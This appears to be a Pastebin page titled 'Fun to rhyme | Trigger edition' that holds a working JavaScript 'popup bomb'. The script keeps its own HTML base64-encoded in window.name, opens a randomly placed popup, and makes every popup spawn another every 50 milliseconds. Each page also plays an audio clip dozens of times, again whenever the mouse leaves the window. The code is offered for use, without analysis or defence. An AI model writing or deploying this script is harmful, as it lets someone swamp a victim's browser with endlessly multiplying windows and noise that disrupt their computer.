Advertisement
NewBestPastebins

Fun to rhyme | Trigger edition

Apr 16th, 2025
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. const htmlContent = `
  2. <!DOCTYPE html>
  3. <html>
  4. <body>
  5. <h1>hi</h1>
  6. <script>
  7. window.onmouseout = function () {
  8. var audio = new Audio('https://dictionary.cambridge.org/media/english/uk_pron/u/ukn/uknic/ukniche015.mp3');
  9. audio.play();
  10. };
  11.  
  12. for (let i = 0; i < 50; i++) {
  13. var audio = new Audio('https://dictionary.cambridge.org/media/english/uk_pron/u/ukn/uknic/ukniche015.mp3');
  14. audio.play();
  15. }
  16.  
  17. function openChildWindow() {
  18. const width = Math.floor(Math.random() * 400) + 200;
  19. const height = Math.floor(Math.random() * 400) + 200;
  20. const left = Math.floor(Math.random() * (screen.width - width));
  21. const top = Math.floor(Math.random() * (screen.height - height));
  22. const html = atob(window.name); // Decode the stored HTML
  23. const newWin = window.open('', '', \`width=\${width},height=\${height},left=\${left},top=\${top}\`);
  24. if (newWin) {
  25. newWin.name = window.name; // Pass the code down again
  26. newWin.document.write(html);
  27. newWin.document.close();
  28. }
  29. }
  30.  
  31. setInterval(openChildWindow, 50);
  32. <\/script>
  33. </body>
  34. </html>
  35. `;
  36.  
  37. const encodedHTML = btoa(htmlContent);
  38. window.name = encodedHTML;
  39.  
  40. // First popup to start the chain
  41. (function startSpawning() {
  42. const width = Math.floor(Math.random() * 400) + 200;
  43. const height = Math.floor(Math.random() * 400) + 200;
  44. const left = Math.floor(Math.random() * (screen.width - width));
  45. const top = Math.floor(Math.random() * (screen.height - height));
  46. const popup = window.open('', '', `width=${width},height=${height},left=${left},top=${top}`);
  47. if (popup) {
  48. popup.name = encodedHTML; // Pass the HTML to the popup
  49. popup.document.write(htmlContent);
  50. popup.document.close();
  51. }
  52. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement